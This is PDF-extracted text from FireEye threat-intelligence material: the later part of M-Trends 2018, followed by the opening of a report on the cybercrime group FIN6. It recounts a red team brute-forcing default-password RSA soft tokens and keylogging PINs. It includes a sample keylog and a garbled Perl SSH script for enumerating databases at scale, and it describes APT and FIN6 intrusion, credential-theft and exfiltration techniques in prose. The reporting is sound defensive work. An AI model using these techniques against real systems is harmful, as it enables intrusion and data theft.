attack the +solution itself, but to leverage its capabilities and a lack +of adherence to security best practices to obtain the +second factor for some number of users. Soft tokens are +easily distributed to users, but they create additional risk +when stored on local computers and network shares. +Unfortunately, this is often the case with users and IT +administrators. Soft tokens are often not secured with a +password, or a default password is stored with the soft +token that allows an attacker to import the soft token. +Once an attacker has imported a soft token, the process +of identifying the workstation belonging to the user and +keylogging the user to obtain their PIN is straightforward. +During the assessment, Mandiant +s red team identified +955 soft token files as having the +stdtid + extension, which +is the default for RSA soft token files. With RSA soft +tokens, + files containing email templates with a default +import password + were also found (Fig. 22). The red team +used +stoken +5 to brute force all the soft token files to +see which soft tokens could be imported with the default +password. In this case, the default password worked for +more than 500 soft tokens, including jump server and +database administrators. +SPECIAL REPORT | M-TRENDS 2018 +Figure 22. Soft token import template. +SPECIAL REPORT | M-TRENDS 2018 +With user credentials and a token code, the red team was only +missing the corresponding PIN. The red team obtained the RSA PIN +codes for the jump server by installing a keystroke logger on the +workstations of administrators and database administrators, as is +shown in Fig. 23. +Figure 23. Keylog showing RSA PIN. +------------------------------RSA SecurID : Log In - Windows Internet Explorer ------------------------------[TAB] +------------------------------00004225 +- RSA SecurID Token ------------------------------1 +------------------------------RSA SecurID : Log In - Windows Internet Explorer ------------------------------[PASTE]583585887 +SPECIAL REPORT | M-TRENDS 2018 +After obtaining all of the components to authenticate to the +jump server, the red team authenticated to the jump server, +which contained a route to all database servers hosted in +the network segment hosting PII. Once on the jump server, +the red team identified 210 hosts in the SSH +known_hosts +file. This provided SSH routes to 210 database servers.6 +A script (Fig. 24) was used to connect severs and identify +databases having names that would indicate they may +contain PII. More than a million PII records were identified in +the databases. +Figure 24. Perl script to enumerate databases at scale. +#!/usr/bin/perl +use strict; +use warnings; +open {my $f, $ARGV[0]) or die $!; +while (<$f>) { +chomp; +print +Starting $_\n +echo +Starting $_\n + >> /tmp/out.txt +ssh -o ConnectTimeout=5 -o BatchMode=yes $_ +. cracfa + 2>&1 >> /tmp/out.txt +close ($f); +Becoming Better Attackers for Better Preparedness +Mandiant +s red team is constantly learning from attackers not only to perform +successful assessments without detection, but also to help our detection teams +keep pace with the attackers. When new techniques are released, our red team will +immediately take that technique, try to weaponize it or make it better, and work +with our detection team to help them improve detection for that technique. +6 SSH clients store host keys for any hosts they have ever connected to. These stored host keys are called known host keys, and the collection is often called +known hosts. +- https://www.ssh.com/ssh/host-key. +SPECIAL REPORT | M-TRENDS 2018 +CYBER SECURITY +SKILLS GAP +The Invisible Risk +In the ongoing battle to secure organizations from +malicious actors that commit crimes through methods +such as theft, destruction or data manipulation, frontline +defenders are a scarce resource. As the demand for skilled +personnel capable of meeting the challenges posed by +these threat actors continues to rise, the supply simply +cannot keep pace. +SPECIAL REPORT | M-TRENDS 2018 +A growing deficit in information security personnel +is expected to dramatically exacerbate the current +considerable skills gap over the next five years. This +assertion is supported by industry research data from +the National Initiative for Cybersecurity Education (NICE) +and insights gained from Mandiant engagements +throughout 2017. In 2017, NICE reported that 285,000 +cyber security roles went unfilled in the U.S. alone. +While the scarcity of experienced professionals can be +felt across the entire information security spectrum, +trend analysis performed over the findings of cyber +defense center (CDC) engagements throughout the year +indicates that this shortage appears highly prevalent in +organizations looking to develop or mature their incident +response capabilities. The specialized skillset required +to respond, investigate and remediate cyber threats has +become highly valued and the industry is struggling to +keep pace with demand. +The Widening Gap +In many ways, the skills gap is tied to the quantitative +nature of these roles. While a CDC breaks free from +the traditional, linear SOC response process by unifying +multiple security and intelligence disciplines into a single +strategic incident response center for the organization, +personnel requirements at the most basic level are +comparable. Though the numbers tend to fluctuate based +on different industries, organization size and other factors, +the minimum number of personnel for an around-theclock CDC is approximately 9 to 12 full-time employees. A +traditional CDC structure breaks this baseline headcount +into incident response expertise levels, with a larger, less +experienced subset of the staff focused on initial detection +and triage and more seasoned personnel performing +investigation and remediation. +As a CDC matures, its need for a larger talent pool +grows. To maximize the cost of effectively handling +incident response internally, the CDC should be vigilant +in increasing the scope of its detection and response +capabilities throughout the organization to achieve its +strategic objectives. The effort to mature and develop +a more proactive security posture inevitably leads to +increased personnel requirements. The increased focus +on identifying and remediating risks before they cause +harm often necessitates investment in specialized skillsets, +including malware analysis, threat hunting, analytics, +automation and threat intelligence. The more effective +a SOC becomes, the greater its scope becomes and the +more responsibility it will inevitability take on. +SPECIAL REPORT | M-TRENDS 2018 +Limitations in Visibility and Detection +The ability to detect events within the organization that +could be indicative of a greater incident is central to an +effective incident response capability. The single most +pervasive trend in the investigations and assessments +that Mandiant conducted over the prior year was a gap +in visibility and detection. During the initial compromise +phase, key indicators of malicious activity are often +overlooked or mischaracterized as benign due to an +implicit trust that malicious activity will be flagged by +detection mechanisms. However, detection systems +often miss indicators of malicious activity due to poor +configuration by inadequately trained staff. +Another common trend is the lack of appropriate event +investigation because the security analysts lack the +experience to identify a legitimate threat from a constant +stream of potential indicators. Mandiant reviewed the +incidents they responded to in 2017, to see which phases +of the attack lifecycle provided the most evidence to +investigate (Fig. 25). +Figure 25. Investigative evidence provided during attack lifecycle phases. +Initial Compromise +Phases of attack life cycle +Establish Foothold +Escalate Privileges +Internal Reconnaisance +Lateral Movement +Maintain Persistence +Complete Mission +Percentage of evidence provided +SPECIAL REPORT | M-TRENDS 2018 +The data (Fig. 25) shows a definite gap in detections +during the initial compromise phase of the attack lifecycle, +which is one of the most critical moments when an +organization should be able to detect and prevent threats. +This is often due to a combination of an overabundance +of alerts that can overwhelm personnel and distract them +from efforts to identify and respond to real threats, and a +lack of in-house skills to quickly identify the events that are +noteworthy to investigate. +While some phases of the attack lifecycle, such as internal +reconnaisance and privilege escalation, have prevalent +indicators that can be easily identified or even automated, +once an attacker has breached the walls, detection of their +activities becomes substantially more difficult due to ever +evolving methods attackers have at their disposal. Events +at these phases require a greater level of experience and +skill to identify and investigate. +Many organizations believe the personnel skillset gaps +can be mitigated or offset by using tools to automate +heavy lifting + of some tasks. However, automation can +provide a false sense of security if the organization relies +entirely on these tools without providing the human +element to ensure they are effectively configured and to +catch any outliers the tools may not address. As attacks +become more sophisticated, there is increasing value in +having proactive threat hunting measures and skills in +place to address potential risks before they impact the +organization. +Visibility and detection are multi-tiered capabilities that +rely on a chain of multiple roles. If even one link is left to +a member of the SOC who does not possess the skillset +required to be effective in the role, the entire chain is +compromised. +Lack of Incident Response Expertise +Another trend directly attributed to the widening skills gap +is a lack of expertise and experience in malware analysis, +threat intelligence and forensics investigations, as well +as handling major incidents. This is particularly common +in organizations with a young, burgeoning SOC. When +incidents arise within an organization, there are times when +the investigation challenge will be outside of the scope of +experience of the personnel responsible for mitigating the +risk. As niche specializations, these skills represent some of +the rarest and most sought after on the market. +This is a primary reason many organizations outsource +functions to firms that specialize in providing these roles, +whether through a managed solution for long-term +assistance or retainers with incident response firms to +assist as the need arises. +Addressing the Skills Gap +While the shortage of skilled cyber security professionals +is not diminishing, organizations can still mitigate their risk +of being attacked by investing in enhancing their existing +capabilities and outsourcing specialized roles. +Enhancement efforts can include process refinement to +maximize the efficiency of internal procedures, training +for existing personnel to increase and expand their skills, +proactive testing of critical incident response processes +through tabletop exercises, automation of overhead +processes such as ticket creation that typically require +time and effort that could be spent on investigations +and identifying new measures to address any gaps in the +organization +s current capabilities. +SPECIAL REPORT | M-TRENDS 2018 +ENDURING TRENDS +in Security Fundamentals +Mandiant +s strategic security +services measure the maturity of +an organization +s cyber security +program across critical security +domains. The critical security +domains used to gain unauthorized +access to organizations are observed +annually by Mandiant during our +incident response investigations. +Common attacker TTPs were observed during incident response investigations +and further correlated by FireEye Threat Intelligence to correspond to areas +of weakness frequently seen by our strategic services. Six information security +domains were observed repeatedly: +Security risk +management +Incident +response +Identity and access +management +Network, cloud and data +center protection +Data +protection +Host and endpoint +protection +We also observed that while organizations are increasingly recognizing the +importance of operationalizing cyber threat intelligence (CTI), there are +weaknesses in implementation. +The following examples are based on engagements delivered in 2017, where +we saw attackers exploit weaknesses in an organization +s detection and +prevention controls. +SPECIAL REPORT | M-TRENDS 2018 +Security Risk Management +Identity and Access Management +We have observed that many organizations do not have +formalized threat and vulnerability management functions +with the authority and necessary visibility into all network +enclaves, assets and applications, and patches and +configuration changes are not applied in a consistent and +timely manner across the enterprise. Patch management +and configuration infrastructure often only covers a portion +of the assets the organizations + environments, leaving +groups of assets to be independently managed, resulting in +inconsistencies in patching and configuration hardening. +We continue to observe that authentication and +authorization controls are often not hardened against +abuse from attackers. Two of the most common issues are +a lack of multi-factor authentication (MFA) enforcement +and securing privileged credentials. Many organizations +do not have MFA implemented, or they have a true MFA +solution that provides the second factor +out-of-band + and +not generated within the user +s device. Instead, they rely on +device certificate-based authentication, which is easier to +bypass. Additionally, organizations have not hardened their +Active Directory environments, such as by reducing the +exposure of Windows credentials in memory, and they have +not adequately secured privileged credentials from misuse. +Through our incident response and cyber threat intelligence +experience, we see attackers leveraging unpatched +vulnerabilities. These observations reinforce our belief in +the importance of having mature threat and vulnerability +management practices. In one case, an unnamed threat +actor exploited an unpatched Apache Struts framework +vulnerability of an organization +s externally facing +application server. The attacker then installed distributed +denial of service (DDoS) malware on the server to create a +platform to target other organizations. +Another example we observed APT35 (The Newscaster +Team) compromising at least three U.S.-based companies, +and performing reconnaissance at two other U.S. +organizations and one non-U.S. company. At least one +organization was likely compromised due to the attacker +exploiting unpatched vulnerabilities in the Ektron CMS +platform, which allowed them to upload web shell +backdoors. The attacker then leveraged publicly available +malware and legitimate Windows tools to dump passwords +and exfiltrate data. +An example of an attacker exploiting single-factor +authentication is APT28 (Tsar Team) in their targeting of +hotel Wi-Fi networks. The group has used noteworthy +techniques, including sniffing passwords from the guest +Wi-Fi network traffic, poisoning the NetBIOS Name Service, +and spreading laterally using the ETERNALBLUE exploit. One +incident involved a user being compromised after connecting +to a public Wi-Fi network. Twelve hours after the victim +initially connected to the publicly available Wi-Fi network, +APT28 logged into the machine with stolen credentials. After +successfully accessing the machine, the attacker deployed +tools on the machine, spread laterally through the victim +network, and accessed the victim +s OWA account. +Another example of an attacker leveraging weakness +in authentication and authorization controls is APT10 +(Menupass Team), which typically uses credential +harvesters to acquire privileged credentials. We observed +them executing tools such as Mimikatz and SysInternals +ProcDump to harvest user credentials in multiple intrusions +where FireEye responded. These were invoked using +different methods, including local execution, DLL searchorder hijacking, remote execution and output through +PsExec/WMIExec, and automated collection through +custom batch scripts. +SPECIAL REPORT | M-TRENDS 2018 +Data Protection +Incident Response +Many organizations we work with do not have well-defined +data classification policies and protection requirements +for sensitive data types. Compounding this, these same +organizations often do not know all of the types of data +they possess and where they are located within the +enterprise in structured and unstructured locations. This +information is necessary to properly establish appropriate +detection and protection technologies and processes in +accordance with the data sensitivity level. The upcoming +General Data Protection Regulation (GDPR) requirements +emphasize the importance of appropriate data handling +practices and protections more than ever, and provide the +mechanism to penalize organizations that are not taking +the proper actions to protect sensitive data. +We continue to see organizations struggle with +consolidated visibility across all enclaves of their +environments. Many organizations focus their monitoring +on regulated portions of their networks (e.g., PCI, SOX) +and have not expanded logging and monitoring efforts +to other less-scrutinized portions. Incomplete and +decentralized logging of investigation-relevant sources +hinder the detection and response capabilities of the +organization +s information security team. +In multiple cases, Mandiant observed attackers leveraging +minimal controls of sensitive data within the victim +environment. Sensitive intellectual property and PII were +not secured with additional controls such as network +segmentation, MFA, encryption and restrictive Internet +egress controls. In these cases, the organizations applied +few minimum internal controls beyond basic single-factor +user authentication to applications, code repositories and +network shares. Once the attackers were on the internal +network with the proper credentials, they completed their +mission of accessing the targeted information, staging the +data and exfiltrating gigabytes of sensitive information. +In many Mandiant incident response engagements, we +observed that attacker activity went unmitigated by the +organization +s information security monitoring team and +capability. This is due to many factors including lack of +authority, lack of visibility and a lack of instrumentation. +Mandiant often observes that information security is not +a dedicated function and does not have authority across +the organization, but only over a portion of assets. Specific +key instrumentation components we see missing include a +centralized log aggregation capability, host and endpoint +logging configurations (e.g., PowerShell, Sysmon, OS and +Application Audit logs) and network level visibility for +lateral movement. +SPECIAL REPORT | M-TRENDS 2018 +Network, Cloud, and Data Center Protection +We commonly find deficiencies in network segmentation +and secure configuration of cloud services. When +customers do not have network segmentation properly +implemented, detection and remediation are much +more difficult, and the resulting impact of the breach is +significantly higher. Neglecting to secure cloud services, +such as the Office 365 email platform, results in attackers +gaining access to sensitive emails and data and a limited +ability for organizations to detect and investigate a breach. +Mandiant observed multiple cases of attackers targeting +an organization +s Office 365 instances to gain access to +sensitive messages. Examples of techniques observed +include malicious mailbox forwarding rules and abuse of +the Office 365 eDiscovery functionality. We have seen +attackers create the malicious mailbox forwarding rules +by doing the following: +Compromised several accounts through password +spraying the organization +s external Active +Directory Federation Services (AD FS) proxy. +Authenticated to the compromised accounts +and created a mailbox forwarding rule to forward +all messages to a malicious mail address under +their control. In other instances, attackers stole +Exchange service credentials during on-premises +network intrusions, then accessed the eDiscovery +functionality of Office 365 and ran searches +through the platform using keywords of interest +to the attackers. +Downloaded the resulting messages from the +queries. +SPECIAL REPORT | M-TRENDS 2018 +Host and Endpoint +Protection +Common areas of weakness in endpoint protection that we +observed in organizations are advanced malware protections, +investigation capabilities and application whitelisting. Many +organizations rely on legacy signature-based protections on the +endpoint. Coupled with that is the inability of information security +professionals to conduct deep forensic analyses of malicious +activity across the server and end user computing environments. +Application whitelisting is another important detection and +prevention control we see lacking in the organizations we assess. +Without application whitelisting, end users and attackers have the +ability to install arbitrary software in an uncontrolled manner. These +weaknesses are commonly exploited by attackers in the initial +compromise and establish foothold stages of the attacker lifecycle +in the incidents we investigate. +Phishing continues to be a primary preferred method of +compromising organizations because of its simplicity and +effectiveness. However, determined attackers will pivot to other +methods of deploying malware. As an example, in May 2017, FireEye +Threat Intelligence observed an uptick in activity related to an +ongoing campaign distributing Emotet malware. A wide variety of +lures and distribution methods were leveraged in this high-volume +campaign, including malicious Word document attachments, links +to Word documents, and links to JavaScript files to propagate +Emotet malware. The actor(s) behind this campaign leveraged +more than 300 compromised websites to host malicious Word +documents and Emotet payloads. +Advanced malware protections at the email and endpoint levels +provide a level of mitigation to these types of attacks; however, +attacker tactics are continuously changing. Logs and detections +from these controls should be regularly monitored and investigated +for signs of further intrusion into the target organizations +environment. Endpoint hardening such as application whitelisting +and mitigations provided by the OS vendor should be applied +across the organization. +SPECIAL REPORT | M-TRENDS 2018 +Improvements +Throughout 2017, Mandiant also observed improvements +in several other areas. These include increased executive +support and awareness of cyber security with GDPR +driving improved data protection practices, as well as +the need for incident response retainer agreements and +regular tabletop exercises. +We observed increased awareness of the need for cyber +security among business leaders, senior executives and +board members. As cyber attacks become more frequent +and sophisticated, organizations of all sizes across every +industry must make cyber risk management a priority. +Organizations that fall under the GDPR regulation +requirements are placing greater importance on improving +their handling of data protection initiatives. As a result of +these initiatives for compliance, PII is beginning to receive +more attention and protections in the form of segregation, +tokenization/masking, encryption and more aggressive +data purging policies. However, many organizations are still +in the beginning stages of preparing for the regulation. +More organizations are recognizing the need for incident +response retainer agreements to increase their ability to +quickly investigate cyber incidents and intrusions. This is +a result of a combination of an increasing number of cyber +insurance providers offering lower premiums to organizations +that show a proactive approach to cyber security, and +increased awareness that having an agreement in place can +greatly reduce the time to respond by outside investigators. +Mandiant observed that organizations are increasingly +using tabletop exercises for technical information security +and executive leadership teams to evaluate the tools, +processes and expertise their organizations use to respond +to cyber attacks. +Reducing Risk +Organizations need to continuously increase the maturity +of their information security program and reduce their +risk of compromise through an approach incorporating +likely real-world threats and attacker TTPs. Information +security leadership should be regularly communicating +this message to executives using a risk-based lens. As +cyber attacks become more frequent and sophisticated, +executives, business line leaders and boards of directors +need to take an active role in cyber risk management and +data breach preparedness. By doing this, investments and +mitigations can be placed in the areas of highest risk to +the organization. +SPECIAL REPORT | M-TRENDS 2018 +PREDICTIONS +FOR 2018 +SPECIAL REPORT | M-TRENDS 2018 +Evolving Chinese Cyber Espionage +FireEye assesses with high confidence the Chinese +government has generally complied with the terms of +the September 2015 +Obama-Xi Agreement +. Under this +agreement, China agreed not to use state-sponsored +hackers to steal the intellectual property of U.S. +companies. FireEye +s research indicates Chinese cyber +operations targeting the intellectual property of U.S. +companies declined significantly around the signing of the +Obama-Xi Agreement. In 2013 FireEye identified a peak +of 72 concurrent operations were carried out by Chinese +state-sponsored attackers. In the months leading up to +the signing of the Obama-Xi Agreement fewer than 30 +operations were observed, and at the time of publication, +FireEye is tracking six or fewer. The Trump Administration +renewed the deal, which serves as evidence that China is +generally viewed as complying with the agreement. +While FireEye assesses that the +Obama-Xi Agreement +has led to a significant decrease in Chinese governmentcontrolled cyber operations specifically stealing +intellectual property, this does not mean China has ceased +cyberoperations against U.S. companies. In fact, FireEye +has seen an increase in the number of attacks against +U.S. companies that have resulted in the theft of business +information such as bid prices, contracts, and information +related to mergers and acquisitions. FireEye has also +seen a surge in cyber espionage campaigns targeting +business-to-business services such as cloud providers, +telecommunications companies and law firms. Attacking +service providers could allow Beijing to collect intelligence +on a broad group of targets in a manner that is less likely +to be detected. +APT10 +We further assess China may be willing to violate the +Obama-Xi Agreement + on strategic imperatives when +diplomatic consequences can be minimized. FireEye has +observed groups potentially preparing operations against +revolutionary technologies, such as artificial intelligence +and advanced batteries. China may be willing to risk +upsetting the status quo to obtain the economic and +military advances these technologies could provide. +Targeting the Software Supply Chain +Malware authors have increasingly leveraged the trust +between users and software providers. Users do not +expect malicious code to be introduced by updates from +trusted software vendors. In supply chain attacks, cyber +threat groups target the build servers, update servers and +other parts of the development or release environment. +The hackers then inject malware into software releases, +infecting users through official software distribution +channels. This attack method allows attackers to target +broad set of potential victims while obfuscating their +intended target(s). +In 2017, FireEye observed at least five cases where +advanced threat actors compromised software companies +to target users of the software. FireEye assesses that +advanced attackers will likely continue to leverage the +software supply chain to conduct cyber espionage. +Chinese threat group APT10 targets +IT service providers worldwide, +including accessing victim networks +through U.S.-based managed security +service providers (MSSP). APT10 spear +phishing emails have been relatively +unsophisticated, leveraging link ( +.lnk +files within archives, files with two +extensions, and in some cases, simply +identically named decoy documents +and malicious launchers within the +same archive. +Chinese cyber espionage operators modified +the software packages of a legitimate vendor, +NetSarang Computer, allowing access to a +broad range of industries and institutions +that include financial services, transportation, +telecommunications, energy, media, academic, +retail, and gaming. Likewise, in June 2017, +suspected Russian actors deployed NotPetya +ransomware to various European targets by +compromising Ukrainian software vendor +M.E.Doc. +SPECIAL REPORT | M-TRENDS 2018 +CONCLUSION +Some of the newest trends we observed in 2017 include +increased activity and sophistication from Iran, and an +increase in the retargeting of previously compromised +organizations. However, these are simply evolutions +of cyber security constants: threat actors from various +nations with diverse motivations will continue to attack, +and defenders will be tasked with stopping those +threats and doing everything they can + and that is +required + to protect their customers. +SPECIAL REPORT | M-TRENDS 2018 +One of the highlights from our data is the global median +time for internal detection dropping by over three weeks, +from 80 days in 2016 to 57.5 days in 2017. Although the +global median time from compromise to discovery has +risen by two days, we see that organizations are getting +better at discovering compromises in-house with their own +internal teams. +Of course, there is still work to be done. The cyber security +skills gap that has existed for some time now appears to +be widening, bringing with it a rising demand for skilled +personnel capable of meeting the challenges posed by +today +s highly skilled threat actors. For organizations +looking to improve their own security teams, Red Team +Assessments can help. Mandiant +s red team engagements +involve leveraging sophisticated attacker TTPs to breach +organizations as a learning experience. As a result, +defenders can gain valuable insight into what they should +be doing to stay ahead of today +s most prominent threats. +While it +s important to focus on new and evolving threats, +we also urge security professionals to never neglect best +practices such as network segmentation, data segregation +and protecting their most sensitive information. It is also +just as important to be ready and able to respond to an +incident, since we all know it is a matter of +when, + not +organizations will experience an attack. We encourage +organizations to hold incident response tabletop exercises +to simulate typical intrusion scenarios. These exercises +help expose participants + notably executives, legal +personnel and other staff + to incident response processes +and concepts. Additionally, organizations may want to +consider partnering with professionals that specialize in +defending against threats specific to the business. +Defenders have to get it right every single time, while +threat actors only need to get it right once. By sharing +information and solutions through M-Trends 2018 with +the security community, we continue to contribute to +the improvement of our collective security awareness, +knowledge and capabilities. +To learn more about FireEye, visit: www.FireEye.com +FireEye, Inc. +About FireEye, Inc. +601 McCarthy Blvd. Milpitas, CA 95035 +408.321.6300/877.FIREEYE (347.3393) +info@FireEye.com +FireEye is the intelligence-led security company. Working as a +seamless, scalable extension of customer security operations, FireEye +offers a single platform that blends innovative security technologies, +nation-state grade threat intelligence and world-renowned Mandiant +consulting. With this approach, FireEye eliminates the complexity +and burden of cyber security for organizations struggling to prepare +for, prevent and respond to cyber attacks. FireEye has over 6,600 +customers across 67 countries, including more than 45 percent of +the Forbes Global 2000. + 2018 FireEye, Inc. All rights reserved. FireEye is +a registered trademark of FireEye, Inc. All other +brands, products, or service names are or may be +trademarks or service marks of their respective +owners. SP.MTRENDS.US-EN-042018 +F I R E E Y E +T H R E A T +I N T E L L I G E N C E +FOLLOW +THE MONEY: +DISSECTING THE OPERATIONS +OF THE CYBER CRIME GROUP FIN6 +Primary Account No. +(19 digits max.) +SPECIAL REPORT / APRIL 2016 +NAME +Name +(26 alphanumeric +characters max. +ADDITIONAL DATA +No. of +Characters +Expiration Date (YY/MM) +Service Code +DISCRETIONARY DATA +No. of +Characters +ES LRC +CONTENTS +Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6 +FIN6 +Gaining Access - Indiscriminate or Intentional? +FIN6 - Getting the Job Done +Underground Card Shops - Following the Money +Conclusion +SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 +FOLLOW THE MONEY: +D I S S E C TI N G T H E O P E R ATI O N S O F T H E C Y B E R C R I M E G R O U P F I N 6 +Reports on payment card intrusions and theft are often fragmentary. +The focus is on various pieces of the attack and less about capturing +the end-to-end cycle of compromise, data theft, illicit sale and use. +The full scope of attacker activity traditionally occurs beyond the +view of any one group of investigators. Incident response teams may +have visibility into the technical aspects of the breach itself, while +cyber crime researchers monitor the movement and sale of stolen +data in the criminal underground. +FireEye Threat Intelligence and iSIGHT Partners recently combined +our research to illuminate the activities of one particular threat group: +FIN6. This combined insight has provided unique and extensive +visibility into FIN6 +s operations, from initial intrusion to the methods +used to navigate the victims + networks to the sale of the stolen +payment card data in an underground marketplace. In this report, +we describe FIN6 +s activities and tactics, techniques and procedures +(TTPs), and provide a glimpse into the criminal ecosystem that +supports the +payoff + for their operations. +SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 +FIN6 +FIN6 is a cyber criminal group intent on stealing payment card data +for monetization. In 2015, FireEye Threat Intelligence supported several +Mandiant Consulting investigations in the hospitality and retail sectors +where FIN6 actors had aggressively targeted and compromised pointof-sale (POS) systems, making off with millions of payment card +numbers. Through iSIGHT, we learned that the payment card numbers +stolen by FIN6 were sold on a +card shop + an underground criminal +marketplace used to sell or exchange payment card data. Figure 1 +illustrates what we believe to be FIN6 +s typical operational methodology. +FIREEYE INTELLIGENCE TRACKS +targeted Financial threats (known as + groups) capable of using a wide +range of tools and tactics during their +computer network intrusions. These +groups employ a high level of planning, +organization and task management +to accomplish their goals. The threat +actors generally target a particular +demographic or type of organization, +and their goal is financial gain from the +data they steal. They may profit through +direct sale of stolen data (such as +payment cards or personally identifiable +information), unauthorized transfer of +funds (such as with stolen bank account +or bank routing credentials); or insider +trading (based on the theft of nonpublic business information). +FIGURE 1: +FIN6 OPERATIONAL +METHODOLOGY +M A LWA R E +Email phishing +credential theft +Lateral movement +on the network +GRABNEW +M A LWA R E +I N D I S C R I M I N AT E +Exfiltration payment card data to +the cyber criminal underground +CARD +SHOP +TA R G E T E D +CASH OUT +SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 +GRABNEW, ALSO KNOWN AS NEVERQUEST AND VAWTRAK, +emerged around 2013 and since then has been consistently and +indiscriminately spread through massive spam campaigns. We +typically differentiate between threat actors who indiscriminately +distribute malware and threat actors who use malware selectively. +GRABNEW itself is a credential-stealing backdoor with form-grabbing +capabilities and the ability to inject code into specific web pages to, +for example, mimic a valid login prompt for a financial institution to +facilitate banking fraud. In some cases, the presence of GRABNEW +malware has overlapped with the spread of POS malware such as +PoSeidon, a variant of the Backoff POS malware. +GAININGACCESS +INDISCRIMINATE OR INTENTIONAL? +s not entirely clear how FIN6 initially compromises +victims. In Mandiant +s investigations, FIN6 already +possessed valid credentials to each victim network +and used those credentials to initiate further intrusion +activity.1 In one case, GRABNEW malware was found on a +victim computer that FIN6 later used in its operations. We +suspect that the computer was originally compromised with +GRABNEW by a separate threat actor, who used GRABNEW +to capture valid user credentials. FIN6 may have obtained +those credentials (through purchase or trade) and used them +for its operations. +FIN6 +s use of GRABNEW, or credentials collected by +GRABNEW, is not altogether surprising and possibly +points to a cyber crime support ecosystem that opens +doors to threat actors capable of lateral movement +and more damaging activities. Previously, we observed +another FIN group + FIN2 + leverage several existing +Citadel compromises to deploy their custom tools +and expand within a network to compromise payment +card systems. Likewise, Proofpoint recently observed +GRABNEW variants leading to downloads of POS +malware known as AbaddonPOS. +When investigating an intrusion, it may be challenging to determine the initial method of compromise + the means through which a threat group +first gained access to a victim network. While in some cases evidence may point to a spear-phishing attack or exploit execution, in other cases little +to no forensic evidence of the original compromise remains. +SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 +After locating POS systems within the +target +s environment, FIN6 deployed +POS malware that we call TRINITY. +ADDITIONAL DATA +No. of +Characters +Expiration Date (YY/MM) +Service Code +FIN6 +DISCRETIONARY DATA +ES LRC +No. of +Characters +GETTING THE JOB DONE +and control (CnC) servers and download and +execute shellcode. FIN6 generally used either +registry run keys or Windows scheduled tasks +in order to establish persistence for these tools. +After gaining access with valid credentials, +we observed FIN6 leveraging components of +the Metasploit Framework to establish their +foothoold. For example, in one case, FIN6 used +a Metasploit PowerShell module to download +and execute shellcode and to set up a local +listener that would execute shellcode received +over a specific port. Similarly, FIN6 used at +least two downloaders called HARDTACK and +SHIPBREAD (apparent variations on Metasploit +payloads) to establish backdoor access to the +compromised environment. Both of these tools +are configured to connect to remote command +Once their accesses were established with +preferred backdoors, FIN6 used additional +public utilities such as Windows Credentials +Editor for privilege escalation and credential +harvesting. Additional privilege escalation +tools exploited Microsoft Windows +vulnerabilities in an attempt to compromise +privileged account credentials on various +hosts. The tools targeted CVE-2013-3660, +CVE-2011-2005 and CVE-2010-4398, all +of which could allow local users to access +kernel-level privileges.2 Continuing their use +of Metasploit-related tools, FIN6 also used +Metasploit +s PsExec NTDSGRAB module +to obtain a copy of the Active Directory +database (ntds.dit). Access to this file would +allow them to extract password hashes from +the file and crack them offline. +ll threat groups generally follow a broad +operational framework known as the +Attack Lifecycle. While the phases of +the Attack Lifecycle + from initial compromise +to privilege escalation to maintaining presence +and completing the mission + are remarkably +consistent, the specific TTPs used vary widely +based on a group +s skills, motivations and +ultimate goals. +These vulnerabilities have all been patched by Microsoft; Windows systems with up-to-date software and security +patches should not be exploitable. +SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 +In addition to collecting credentials, FIN6 +used publicly available tools to map the +internal network and conduct reconnaissance +against Active Directory, Structured Query +Language (SQL) servers and NetBIOS. In +particular, during the reconnaissance phase +they gathered information on systems running +SQL instances, dumping schemas for multiple +databases and SQL user accounts. Specific +tools used by FIN6 included Microsoft +built-in SQL querying tool (osql.exe), Query +Express (a free, portable graphical SQL +client capable of connecting to Microsoft +SQL and Oracle databases) and AdFind, a +free command-line tool for querying Active +Directory. Over the course of one day, for +example, the group targeted more than +900 SQL servers to dump reconnaissance +information to support further operations. +Capitalizing on the acquired reconnaissance +data, FIN6 began lateral movement using +credentials stolen from various systems on +which they gathered usernames and password +hashes. They likely cracked these hashes +outside of the target +s network before using +multiple sets of domain admin credentials in +combination with remote command execution +tools such as PsExec and Remote Command +Executor (RemCom) throughout the rest of +the lateral movement phase. +To maintain presence and support interactive +access in the environment, FIN6 leveraged the +publicly available Plink command-line utility +(part of the PuTTY SSH and Telnet suite) to +create SSH tunnels to CnC servers under their +control. As shown in Figure 2, they used these +SSH tunnels to route Remote Desktop Protocol +(RDP) traffic and allow for interactive RDP +sessions with systems in the target network. +After locating POS systems within the +target +s environment, FIN6 deployed POS +malware that we call TRINITY (also known +as FrameworkPOS), with Scheduled Tasks +being used for persistence. TRINITY runs +continuously and targets system processes not +listed in its accompanying process blacklist, +seeking data that matches payment card +track data. Once the malware identifies track +data, it copies and encodes it to a local file in +a subdirectory of the c:\windows\ directory +while attempting to conceal these files with +.dll or .chm extensions. In one particular +case + and as an example of scale + FIN6 +compromised and deployed TRINITY on +around 2,000 systems, resulting in millions +of exposed cards. +TRINITY IS POS MALWARE THAT ATTEMPTS TO LOCATE +AND STEAL PAYMENT CARD DATA FROM MEMORY. +The malware first creates mutexes named m_number3 and +MuTex-Check and exits if either already exists. The malware +then continuously iterates over the current process listing and +examines the memory space of each process. Processes with +module names less than five characters are skipped, along +with some specific process names that are unlikely to contain +payment card information. TRINITY logs captured data to disk, +typically to a file in %WINDIR%\temp or %WINDIR%\help. The +malware encodes the data with a simple substitution cipher +and single-byte XOR using the OxAA key. +Finally, to move the stolen payment card +data out of the environment, FIN6 used a +script to systematically iterate through a list +of compromised POS systems, copying the +harvested track data files to a numbered + file before removing the original data +files. They then compressed the log files into +a ZIP archive and moved the archive through +the environment to an intermediary system +and then to a staging system. From the +staging system, they then copied the stolen +data to external CnC servers under their +control using the FTP command line utility. +In another case, FIN6 used an alternative +extraction method to upload payment card +data to a public file sharing service. +SPECIAL REPORT / FOLLOW THE MONEY: DISSECTING THE OPERATIONS OF THE CYBER CRIME GROUP FIN6 +F I G U R E 2 : N E T W O R K D I AG R A M S H O W I N G F I N 6 P L I N K S S H T U N N E L U S E D T O R O 